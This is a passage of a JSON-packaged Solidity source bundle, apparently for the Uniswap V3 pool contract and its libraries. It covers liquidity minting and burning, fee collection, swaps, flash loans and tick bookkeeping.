}\n if (flippedUpper) {\n ticks.clear(tickUpper);\n }\n }\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function mint(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount,\n bytes calldata data\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n require(amount > 0);\n (, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: recipient,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(amount0Int);\n amount1 = uint256(amount1Int);\n\n uint256 balance0Before;\n uint256 balance1Before;\n if (amount0 > 0) balance0Before = balance0();\n if (amount1 > 0) balance1Before = balance1();\n IUniswapV3MintCallback(msg.sender).uniswapV3MintCallback(amount0, amount1, data);\n if (amount0 > 0) require(balance0Before.add(amount0) <= balance0(), 'M0');\n if (amount1 > 0) require(balance1Before.add(amount1) <= balance1(), 'M1');\n\n emit Mint(msg.sender, recipient, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function collect(\n address recipient,\n int24 tickLower,\n int24 tickUpper,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock returns (uint128 amount0, uint128 amount1) {\n // we don't need to checkTicks here, because invalid positions will never have non-zero tokensOwed{0,1}\n Position.Info storage position = positions.get(msg.sender, tickLower, tickUpper);\n\n amount0 = amount0Requested > position.tokensOwed0 ? position.tokensOwed0 : amount0Requested;\n amount1 = amount1Requested > position.tokensOwed1 ? position.tokensOwed1 : amount1Requested;\n\n if (amount0 > 0) {\n position.tokensOwed0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n position.tokensOwed1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit Collect(msg.sender, recipient, tickLower, tickUpper, amount0, amount1);\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n /// @dev noDelegateCall is applied indirectly via _modifyPosition\n function burn(\n int24 tickLower,\n int24 tickUpper,\n uint128 amount\n ) external override lock returns (uint256 amount0, uint256 amount1) {\n (Position.Info storage position, int256 amount0Int, int256 amount1Int) =\n _modifyPosition(\n ModifyPositionParams({\n owner: msg.sender,\n tickLower: tickLower,\n tickUpper: tickUpper,\n liquidityDelta: -int256(amount).toInt128()\n })\n );\n\n amount0 = uint256(-amount0Int);\n amount1 = uint256(-amount1Int);\n\n if (amount0 > 0 || amount1 > 0) {\n (position.tokensOwed0, position.tokensOwed1) = (\n position.tokensOwed0 + uint128(amount0),\n position.tokensOwed1 + uint128(amount1)\n );\n }\n\n emit Burn(msg.sender, tickLower, tickUpper, amount, amount0, amount1);\n }\n\n struct SwapCache {\n // the protocol fee for the input token\n uint8 feeProtocol;\n // liquidity at the beginning of the swap\n uint128 liquidityStart;\n // the timestamp of the current block\n uint32 blockTimestamp;\n // the current value of the tick accumulator, computed only if we cross an initialized tick\n int56 tickCumulative;\n // the current value of seconds per liquidity accumulator, computed only if we cross an initialized tick\n uint160 secondsPerLiquidityCumulativeX128;\n // whether we've computed and cached the above two accumulators\n bool computedLatestObservation;\n }\n\n // the top level state of the swap, the results of which are recorded in storage at the end\n struct SwapState {\n // the amount remaining to be swapped in/out of the input/output asset\n int256 amountSpecifiedRemaining;\n // the amount already swapped out/in of the output/input asset\n int256 amountCalculated;\n // current sqrt(price)\n uint160 sqrtPriceX96;\n // the tick associated with the current price\n int24 tick;\n // the global fee growth of the input token\n uint256 feeGrowthGlobalX128;\n // amount of input token paid as protocol fee\n uint128 protocolFee;\n // the current liquidity in range\n uint128 liquidity;\n }\n\n struct StepComputations {\n // the price at the beginning of the step\n uint160 sqrtPriceStartX96;\n // the next tick to swap to from the current tick in the swap direction\n int24 tickNext;\n // whether tickNext is initialized or not\n bool initialized;\n // sqrt(price) for the next tick (1/0)\n uint160 sqrtPriceNextX96;\n // how much is being swapped in in this step\n uint256 amountIn;\n // how much is being swapped out\n uint256 amountOut;\n // how much fee is being paid in\n uint256 feeAmount;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function swap(\n address recipient,\n bool zeroForOne,\n int256 amountSpecified,\n uint160 sqrtPriceLimitX96,\n bytes calldata data\n ) external override noDelegateCall returns (int256 amount0, int256 amount1) {\n require(amountSpecified != 0, 'AS');\n\n Slot0 memory slot0Start = slot0;\n\n require(slot0Start.unlocked, 'LOK');\n require(\n zeroForOne\n ? sqrtPriceLimitX96 < slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 > TickMath.MIN_SQRT_RATIO\n : sqrtPriceLimitX96 > slot0Start.sqrtPriceX96 && sqrtPriceLimitX96 < TickMath.MAX_SQRT_RATIO,\n 'SPL'\n );\n\n slot0.unlocked = false;\n\n SwapCache memory cache =\n SwapCache({\n liquidityStart: liquidity,\n blockTimestamp: _blockTimestamp(),\n feeProtocol: zeroForOne ? (slot0Start.feeProtocol % 16) : (slot0Start.feeProtocol >> 4),\n secondsPerLiquidityCumulativeX128: 0,\n tickCumulative: 0,\n computedLatestObservation: false\n });\n\n bool exactInput = amountSpecified > 0;\n\n SwapState memory state =\n SwapState({\n amountSpecifiedRemaining: amountSpecified,\n amountCalculated: 0,\n sqrtPriceX96: slot0Start.sqrtPriceX96,\n tick: slot0Start.tick,\n feeGrowthGlobalX128: zeroForOne ? feeGrowthGlobal0X128 : feeGrowthGlobal1X128,\n protocolFee: 0,\n liquidity: cache.liquidityStart\n });\n\n // continue swapping as long as we haven't used the entire input/output and haven't reached the price limit\n while (state.amountSpecifiedRemaining != 0 && state.sqrtPriceX96 != sqrtPriceLimitX96) {\n StepComputations memory step;\n\n step.sqrtPriceStartX96 = state.sqrtPriceX96;\n\n (step.tickNext, step.initialized) = tickBitmap.nextInitializedTickWithinOneWord(\n state.tick,\n tickSpacing,\n zeroForOne\n );\n\n // ensure that we do not overshoot the min/max tick, as the tick bitmap is not aware of these bounds\n if (step.tickNext < TickMath.MIN_TICK) {\n step.tickNext = TickMath.MIN_TICK;\n } else if (step.tickNext > TickMath.MAX_TICK) {\n step.tickNext = TickMath.MAX_TICK;\n }\n\n // get the price for the next tick\n step.sqrtPriceNextX96 = TickMath.getSqrtRatioAtTick(step.tickNext);\n\n // compute values to swap to the target tick, price limit, or point where input/output amount is exhausted\n (state.sqrtPriceX96, step.amountIn, step.amountOut, step.feeAmount) = SwapMath.computeSwapStep(\n state.sqrtPriceX96,\n (zeroForOne ? step.sqrtPriceNextX96 < sqrtPriceLimitX96 : step.sqrtPriceNextX96 > sqrtPriceLimitX96)\n ? sqrtPriceLimitX96\n : step.sqrtPriceNextX96,\n state.liquidity,\n state.amountSpecifiedRemaining,\n fee\n );\n\n if (exactInput) {\n state.amountSpecifiedRemaining -= (step.amountIn + step.feeAmount).toInt256();\n state.amountCalculated = state.amountCalculated.sub(step.amountOut.toInt256());\n } else {\n state.amountSpecifiedRemaining += step.amountOut.toInt256();\n state.amountCalculated = state.amountCalculated.add((step.amountIn + step.feeAmount).toInt256());\n }\n\n // if the protocol fee is on, calculate how much is owed, decrement feeAmount, and increment protocolFee\n if (cache.feeProtocol > 0) {\n uint256 delta = step.feeAmount / cache.feeProtocol;\n step.feeAmount -= delta;\n state.protocolFee += uint128(delta);\n }\n\n // update global fee tracker\n if (state.liquidity > 0)\n state.feeGrowthGlobalX128 += FullMath.mulDiv(step.feeAmount, FixedPoint128.Q128, state.liquidity);\n\n // shift tick if we reached the next price\n if (state.sqrtPriceX96 == step.sqrtPriceNextX96) {\n // if the tick is initialized, run the tick transition\n if (step.initialized) {\n // check for the placeholder value, which we replace with the actual value the first time the swap\n // crosses an initialized tick\n if (!cache.computedLatestObservation) {\n (cache.tickCumulative, cache.secondsPerLiquidityCumulativeX128) = observations.observeSingle(\n cache.blockTimestamp,\n 0,\n slot0Start.tick,\n slot0Start.observationIndex,\n cache.liquidityStart,\n slot0Start.observationCardinality\n );\n cache.computedLatestObservation = true;\n }\n int128 liquidityNet =\n ticks.cross(\n step.tickNext,\n (zeroForOne ? state.feeGrowthGlobalX128 : feeGrowthGlobal0X128),\n (zeroForOne ? feeGrowthGlobal1X128 : state.feeGrowthGlobalX128),\n cache.secondsPerLiquidityCumulativeX128,\n cache.tickCumulative,\n cache.blockTimestamp\n );\n // if we're moving leftward, we interpret liquidityNet as the opposite sign\n // safe because liquidityNet cannot be type(int128).min\n if (zeroForOne) liquidityNet = -liquidityNet;\n\n state.liquidity = LiquidityMath.addDelta(state.liquidity, liquidityNet);\n }\n\n state.tick = zeroForOne ? step.tickNext - 1 : step.tickNext;\n } else if (state.sqrtPriceX96 != step.sqrtPriceStartX96) {\n // recompute unless we're on a lower tick boundary (i.e. already transitioned ticks), and haven't moved\n state.tick = TickMath.getTickAtSqrtRatio(state.sqrtPriceX96);\n }\n }\n\n // update tick and write an oracle entry if the tick change\n if (state.tick != slot0Start.tick) {\n (uint16 observationIndex, uint16 observationCardinality) =\n observations.write(\n slot0Start.observationIndex,\n cache.blockTimestamp,\n slot0Start.tick,\n cache.liquidityStart,\n slot0Start.observationCardinality,\n slot0Start.observationCardinalityNext\n );\n (slot0.sqrtPriceX96, slot0.tick, slot0.observationIndex, slot0.observationCardinality) = (\n state.sqrtPriceX96,\n state.tick,\n observationIndex,\n observationCardinality\n );\n } else {\n // otherwise just update the price\n slot0.sqrtPriceX96 = state.sqrtPriceX96;\n }\n\n // update liquidity if it changed\n if (cache.liquidityStart != state.liquidity) liquidity = state.liquidity;\n\n // update fee growth global and, if necessary, protocol fees\n // overflow is acceptable, protocol has to withdraw before it hits type(uint128).max fees\n if (zeroForOne) {\n feeGrowthGlobal0X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token0 += state.protocolFee;\n } else {\n feeGrowthGlobal1X128 = state.feeGrowthGlobalX128;\n if (state.protocolFee > 0) protocolFees.token1 += state.protocolFee;\n }\n\n (amount0, amount1) = zeroForOne == exactInput\n ? (amountSpecified - state.amountSpecifiedRemaining, state.amountCalculated)\n : (state.amountCalculated, amountSpecified - state.amountSpecifiedRemaining);\n\n // do the transfers and collect payment\n if (zeroForOne) {\n if (amount1 < 0) TransferHelper.safeTransfer(token1, recipient, uint256(-amount1));\n\n uint256 balance0Before = balance0();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance0Before.add(uint256(amount0)) <= balance0(), 'IIA');\n } else {\n if (amount0 < 0) TransferHelper.safeTransfer(token0, recipient, uint256(-amount0));\n\n uint256 balance1Before = balance1();\n IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(amount0, amount1, data);\n require(balance1Before.add(uint256(amount1)) <= balance1(), 'IIA');\n }\n\n emit Swap(msg.sender, recipient, amount0, amount1, state.sqrtPriceX96, state.liquidity, state.tick);\n slot0.unlocked = true;\n }\n\n /// @inheritdoc IUniswapV3PoolActions\n function flash(\n address recipient,\n uint256 amount0,\n uint256 amount1,\n bytes calldata data\n ) external override lock noDelegateCall {\n uint128 _liquidity = liquidity;\n require(_liquidity > 0, 'L');\n\n uint256 fee0 = FullMath.mulDivRoundingUp(amount0, fee, 1e6);\n uint256 fee1 = FullMath.mulDivRoundingUp(amount1, fee, 1e6);\n uint256 balance0Before = balance0();\n uint256 balance1Before = balance1();\n\n if (amount0 > 0) TransferHelper.safeTransfer(token0, recipient, amount0);\n if (amount1 > 0) TransferHelper.safeTransfer(token1, recipient, amount1);\n\n IUniswapV3FlashCallback(msg.sender).uniswapV3FlashCallback(fee0, fee1, data);\n\n uint256 balance0After = balance0();\n uint256 balance1After = balance1();\n\n require(balance0Before.add(fee0) <= balance0After, 'F0');\n require(balance1Before.add(fee1) <= balance1After, 'F1');\n\n // sub is safe because we know balanceAfter is gt balanceBefore by at least fee\n uint256 paid0 = balance0After - balance0Before;\n uint256 paid1 = balance1After - balance1Before;\n\n if (paid0 > 0) {\n uint8 feeProtocol0 = slot0.feeProtocol % 16;\n uint256 fees0 = feeProtocol0 == 0 ? 0 : paid0 / feeProtocol0;\n if (uint128(fees0) > 0) protocolFees.token0 += uint128(fees0);\n feeGrowthGlobal0X128 += FullMath.mulDiv(paid0 - fees0, FixedPoint128.Q128, _liquidity);\n }\n if (paid1 > 0) {\n uint8 feeProtocol1 = slot0.feeProtocol >> 4;\n uint256 fees1 = feeProtocol1 == 0 ? 0 : paid1 / feeProtocol1;\n if (uint128(fees1) > 0) protocolFees.token1 += uint128(fees1);\n feeGrowthGlobal1X128 += FullMath.mulDiv(paid1 - fees1, FixedPoint128.Q128, _liquidity);\n }\n\n emit Flash(msg.sender, recipient, amount0, amount1, paid0, paid1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function setFeeProtocol(uint8 feeProtocol0, uint8 feeProtocol1) external override lock onlyFactoryOwner {\n require(\n (feeProtocol0 == 0 || (feeProtocol0 >= 4 && feeProtocol0 <= 10)) &&\n (feeProtocol1 == 0 || (feeProtocol1 >= 4 && feeProtocol1 <= 10))\n );\n uint8 feeProtocolOld = slot0.feeProtocol;\n slot0.feeProtocol = feeProtocol0 + (feeProtocol1 << 4);\n emit SetFeeProtocol(feeProtocolOld % 16, feeProtocolOld >> 4, feeProtocol0, feeProtocol1);\n }\n\n /// @inheritdoc IUniswapV3PoolOwnerActions\n function collectProtocol(\n address recipient,\n uint128 amount0Requested,\n uint128 amount1Requested\n ) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {\n amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;\n amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;\n\n if (amount0 > 0) {\n if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token0 -= amount0;\n TransferHelper.safeTransfer(token0, recipient, amount0);\n }\n if (amount1 > 0) {\n if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings\n protocolFees.token1 -= amount1;\n TransferHelper.safeTransfer(token1, recipient, amount1);\n }\n\n emit CollectProtocol(msg.sender, recipient, amount0, amount1);\n }\n}\n"
},
"contracts/interfaces/IUniswapV3Pool.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\nimport './pool/IUniswapV3PoolImmutables.sol';\nimport './pool/IUniswapV3PoolState.sol';\nimport './pool/IUniswapV3PoolDerivedState.sol';\nimport './pool/IUniswapV3PoolActions.sol';\nimport './pool/IUniswapV3PoolOwnerActions.sol';\nimport './pool/IUniswapV3PoolEvents.sol';\n\n/// @title The interface for a Uniswap V3 Pool\n/// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform\n/// to the ERC20 specification\n/// @dev The pool interface is broken up into many smaller pieces\ninterface IUniswapV3Pool is\n IUniswapV3PoolImmutables,\n IUniswapV3PoolState,\n IUniswapV3PoolDerivedState,\n IUniswapV3PoolActions,\n IUniswapV3PoolOwnerActions,\n IUniswapV3PoolEvents\n{\n\n}\n"
},
"contracts/NoDelegateCall.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity =0.7.6;\n\n/// @title Prevents delegatecall to a contract\n/// @notice Base contract that provides a modifier for preventing delegatecall to methods in a child contract\nabstract contract NoDelegateCall {\n /// @dev The original address of this contract\n address private immutable original;\n\n constructor() {\n // Immutables are computed in the init code of the contract, and then inlined into the deployed bytecode.\n // In other words, this variable won't change when it's checked at runtime.\n original = address(this);\n }\n\n /// @dev Private method is used instead of inlining into modifier because modifiers are copied into each method,\n /// and the use of immutable means the address bytes are copied in every place the modifier is used.\n function checkNotDelegateCall() private view {\n require(address(this) == original);\n }\n\n /// @notice Prevents delegatecall into the modified method\n modifier noDelegateCall() {\n checkNotDelegateCall();\n _;\n }\n}\n"
},
"contracts/libraries/LowGasSafeMath.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.7.0;\n\n/// @title Optimized overflow and underflow safe math operations\n/// @notice Contains methods for doing math operations that revert on overflow or underflow for minimal gas cost\nlibrary LowGasSafeMath {\n /// @notice Returns x + y, reverts if sum overflows uint256\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x + y) >= x);\n }\n\n /// @notice Returns x - y, reverts if underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require((z = x - y) <= x);\n }\n\n /// @notice Returns x * y, reverts if overflows\n /// @param x The multiplicand\n /// @param y The multiplier\n /// @return z The product of x and y\n function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {\n require(x == 0 || (z = x * y) / x == y);\n }\n\n /// @notice Returns x + y, reverts if overflows or underflows\n /// @param x The augend\n /// @param y The addend\n /// @return z The sum of x and y\n function add(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x + y) >= x == (y >= 0));\n }\n\n /// @notice Returns x - y, reverts if overflows or underflows\n /// @param x The minuend\n /// @param y The subtrahend\n /// @return z The difference of x and y\n function sub(int256 x, int256 y) internal pure returns (int256 z) {\n require((z = x - y) <= x == (y >= 0));\n }\n}\n"
},
"contracts/libraries/SafeCast.sol": {
"content": "// SPDX-License-Identifier: GPL-2.0-or-later\npragma solidity >=0.5.0;\n\n/// @title Safe casting methods\n/// @notice Contains methods for safely casting between types\nlibrary SafeCast {\n /// @notice Cast a uint256 to a uint160, revert on overflow\n /// @param y The uint256 to be downcasted\n /// @return z The downcasted integer, now type uint160\n function toUint160(uint256 y) internal pure returns (uint160 z) {\n require((z = uint160(y)) == y);\n }\n\n /// @notice Cast a int256 to a int128, revert on overflow or underflow\n /// @param y The int256 to be downcasted\n /// @return z The downcasted integer, now type int128\n function toInt128(int256 y) internal pure returns (int128 z) {\n require((z = int128(y)) == y);\n }\n\n /// @notice Cast a uint256 to a int256, revert on overflow\n /// @param y The uint256 to be casted\n /// @return z The casted integer, now type int256\n function toInt256(uint256 y) internal pure returns (int256 z) {\n require(y < 2**255);\n z = int256(y);\n }\n}\n"
},
"contracts/libraries/Tick.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './LowGasSafeMath.sol';\nimport './SafeCast.sol';\n\nimport './TickMath.sol';\nimport './LiquidityMath.sol';\n\n/// @title Tick\n/// @notice Contains functions for managing tick processes and relevant calculations\nlibrary Tick {\n using LowGasSafeMath for int256;\n using SafeCast for int256;\n\n // info stored for each initialized individual tick\n struct Info {\n // the total position liquidity that references this tick\n uint128 liquidityGross;\n // amount of net liquidity added (subtracted) when tick is crossed from left to right (right to left),\n int128 liquidityNet;\n // fee growth per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint256 feeGrowthOutside0X128;\n uint256 feeGrowthOutside1X128;\n // the cumulative tick value on the other side of the tick\n int56 tickCumulativeOutside;\n // the seconds per unit of liquidity on the _other_ side of this tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint160 secondsPerLiquidityOutsideX128;\n // the seconds spent on the other side of the tick (relative to the current tick)\n // only has relative meaning, not absolute — the value depends on when the tick is initialized\n uint32 secondsOutside;\n // true iff the tick is initialized, i.e. the value is exactly equivalent to the expression liquidityGross != 0\n // these 8 bits are set to prevent fresh sstores when crossing newly initialized ticks\n bool initialized;\n }\n\n /// @notice Derives max liquidity per tick from given tick spacing\n /// @dev Executed within the pool constructor\n /// @param tickSpacing The amount of required tick separation, realized in multiples of `tickSpacing`\n /// e.g., a tickSpacing of 3 requires ticks to be initialized every 3rd tick i.e., ..., -6, -3, 0, 3, 6, ...\n /// @return The max liquidity per tick\n function tickSpacingToMaxLiquidityPerTick(int24 tickSpacing) internal pure returns (uint128) {\n int24 minTick = (TickMath.MIN_TICK / tickSpacing) * tickSpacing;\n int24 maxTick = (TickMath.MAX_TICK / tickSpacing) * tickSpacing;\n uint24 numTicks = uint24((maxTick - minTick) / tickSpacing) + 1;\n return type(uint128).max / numTicks;\n }\n\n /// @notice Retrieves fee growth data\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tickLower The lower tick boundary of the position\n /// @param tickUpper The upper tick boundary of the position\n /// @param tickCurrent The current tick\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @return feeGrowthInside0X128 The all-time fee growth in token0, per unit of liquidity, inside the position's tick boundaries\n /// @return feeGrowthInside1X128 The all-time fee growth in token1, per unit of liquidity, inside the position's tick boundaries\n function getFeeGrowthInside(\n mapping(int24 => Tick.Info) storage self,\n int24 tickLower,\n int24 tickUpper,\n int24 tickCurrent,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128\n ) internal view returns (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) {\n Info storage lower = self[tickLower];\n Info storage upper = self[tickUpper];\n\n // calculate fee growth below\n uint256 feeGrowthBelow0X128;\n uint256 feeGrowthBelow1X128;\n if (tickCurrent >= tickLower) {\n feeGrowthBelow0X128 = lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = lower.feeGrowthOutside1X128;\n } else {\n feeGrowthBelow0X128 = feeGrowthGlobal0X128 - lower.feeGrowthOutside0X128;\n feeGrowthBelow1X128 = feeGrowthGlobal1X128 - lower.feeGrowthOutside1X128;\n }\n\n // calculate fee growth above\n uint256 feeGrowthAbove0X128;\n uint256 feeGrowthAbove1X128;\n if (tickCurrent < tickUpper) {\n feeGrowthAbove0X128 = upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = upper.feeGrowthOutside1X128;\n } else {\n feeGrowthAbove0X128 = feeGrowthGlobal0X128 - upper.feeGrowthOutside0X128;\n feeGrowthAbove1X128 = feeGrowthGlobal1X128 - upper.feeGrowthOutside1X128;\n }\n\n feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128;\n feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128;\n }\n\n /// @notice Updates a tick and returns true if the tick was flipped from initialized to uninitialized, or vice versa\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The tick that will be updated\n /// @param tickCurrent The current tick\n /// @param liquidityDelta A new amount of liquidity to be added (subtracted) when tick is crossed from left to right (right to left)\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The all-time seconds per max(1, liquidity) of the pool\n /// @param time The current block timestamp cast to a uint32\n /// @param upper true for updating a position's upper tick, or false for updating a position's lower tick\n /// @param maxLiquidity The maximum liquidity allocation for a single tick\n /// @return flipped Whether the tick was flipped from initialized to uninitialized, or vice versa\n function update(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n int24 tickCurrent,\n int128 liquidityDelta,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time,\n bool upper,\n uint128 maxLiquidity\n ) internal returns (bool flipped) {\n Tick.Info storage info = self[tick];\n\n uint128 liquidityGrossBefore = info.liquidityGross;\n uint128 liquidityGrossAfter = LiquidityMath.addDelta(liquidityGrossBefore, liquidityDelta);\n\n require(liquidityGrossAfter <= maxLiquidity, 'LO');\n\n flipped = (liquidityGrossAfter == 0) != (liquidityGrossBefore == 0);\n\n if (liquidityGrossBefore == 0) {\n // by convention, we assume that all growth before a tick was initialized happened _below_ the tick\n if (tick <= tickCurrent) {\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128;\n info.tickCumulativeOutside = tickCumulative;\n info.secondsOutside = time;\n }\n info.initialized = true;\n }\n\n info.liquidityGross = liquidityGrossAfter;\n\n // when the lower (upper) tick is crossed left to right (right to left), liquidity must be added (removed)\n info.liquidityNet = upper\n ? int256(info.liquidityNet).sub(liquidityDelta).toInt128()\n : int256(info.liquidityNet).add(liquidityDelta).toInt128();\n }\n\n /// @notice Clears tick data\n /// @param self The mapping containing all initialized tick information for initialized ticks\n /// @param tick The tick that will be cleared\n function clear(mapping(int24 => Tick.Info) storage self, int24 tick) internal {\n delete self[tick];\n }\n\n /// @notice Transitions to next tick as needed by price movement\n /// @param self The mapping containing all tick information for initialized ticks\n /// @param tick The destination tick of the transition\n /// @param feeGrowthGlobal0X128 The all-time global fee growth, per unit of liquidity, in token0\n /// @param feeGrowthGlobal1X128 The all-time global fee growth, per unit of liquidity, in token1\n /// @param secondsPerLiquidityCumulativeX128 The current seconds per liquidity\n /// @param time The current block.timestamp\n /// @return liquidityNet The amount of liquidity added (subtracted) when tick is crossed from left to right (right to left)\n function cross(\n mapping(int24 => Tick.Info) storage self,\n int24 tick,\n uint256 feeGrowthGlobal0X128,\n uint256 feeGrowthGlobal1X128,\n uint160 secondsPerLiquidityCumulativeX128,\n int56 tickCumulative,\n uint32 time\n ) internal returns (int128 liquidityNet) {\n Tick.Info storage info = self[tick];\n info.feeGrowthOutside0X128 = feeGrowthGlobal0X128 - info.feeGrowthOutside0X128;\n info.feeGrowthOutside1X128 = feeGrowthGlobal1X128 - info.feeGrowthOutside1X128;\n info.secondsPerLiquidityOutsideX128 = secondsPerLiquidityCumulativeX128 - info.secondsPerLiquidityOutsideX128;\n info.tickCumulativeOutside = tickCumulative - info.tickCumulativeOutside;\n info.secondsOutside = time - info.secondsOutside;\n liquidityNet = info.liquidityNet;\n }\n}\n"
},
"contracts/libraries/TickBitmap.sol": {
"content": "// SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.5.0;\n\nimport './BitMath.sol';\n\n/// @title Packed tick initialized state library\n/// @notice Stores a packed mapping of tick index to its initialized state\n/// @dev The mapping uses int16 for keys since ticks are represented as int24 and there are 256 (2^8) values per word.\nlibrary TickBitmap {\n /// @notice Computes the position in the mapping where the initialized bit for a tick lives\n /// @param tick The tick for which to compute the position\n /// @return wordPos The key in the mapping containing the word in which the bit is stored\n /// @return bitPos The bit position in the word where the flag is stored\n function position(int24 tick) private pure returns (int16 wordPos, uint8 bitPos) {\n wordPos = int16(tick >> 8);\n bitPos = uint8(tick % 256);\n }\n\n /// @notice Flips the initialized state for a given tick from false to true, or vice versa\n /// @param self The mapping in which to flip the tick\n /// @param tick The tick to flip\n /// @param tickSpacing The spacing between usable ticks\n function flipTick(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing\n ) internal {\n require(tick % tickSpacing == 0); // ensure that the tick is spaced\n (int16 wordPos, uint8 bitPos) = position(tick / tickSpacing);\n uint256 mask = 1 << bitPos;\n self[wordPos] ^= mask;\n }\n\n /// @notice Returns the next initialized tick contained in the same word (or adjacent word) as the tick that is either\n /// to the left (less than or equal to) or right (greater than) of the given tick\n /// @param self The mapping in which to compute the next initialized tick\n /// @param tick The starting tick\n /// @param tickSpacing The spacing between usable ticks\n /// @param lte Whether to search for the next initialized tick to the left (less than or equal to the starting tick)\n /// @return next The next initialized or uninitialized tick up to 256 ticks away from the current tick\n /// @return initialized Whether the next tick is initialized, as the function only searches within up to 256 ticks\n function nextInitializedTickWithinOneWord(\n mapping(int16 => uint256) storage self,\n int24 tick,\n int24 tickSpacing,\n bool lte\n ) internal view returns (int24 next, bool initialized) {\n int24 compressed = tick / tickSpacing;\n if (tick < 0 && tick % tickSpacing != 0) compressed--; // round towards negative infinity\n\n if (lte) {\n (int16 wordPos, uint8 bitPos) = position(compressed);\n // all the 1s at or to the right of the current bitPos\n uint256 mask = (1 << bitPos) - 1 + (1 << bitPos);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the right of or at the current tick, return rightmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed - int24(bitPos - BitMath.mostSignificantBit(masked))) * tickSpacing\n : (compressed - int24(bitPos)) * tickSpacing;\n } else {\n // start from the word of the next tick, since the current tick state doesn't matter\n (int16 wordPos, uint8 bitPos) = position(compressed + 1);\n // all the 1s at or to the left of the bitPos\n uint256 mask = ~((1 << bitPos) - 1);\n uint256 masked = self[wordPos] & mask;\n\n // if there are no initialized ticks to the left of the current tick, return leftmost in the word\n initialized = masked != 0;\n // overflow/underflow is possible, but prevented externally by limiting both tickSpacing and tick\n next = initialized\n ? (compressed + 1 + int24(BitMath.leastSignificantBit(masked) - bitPos)) * tickSpacing\n : (compressed + 1 + int24(type(uint8).max - bitPos)) * tickSpacing;\n }\n }\n}\n"
},
"contracts/libraries/Position.sol": {
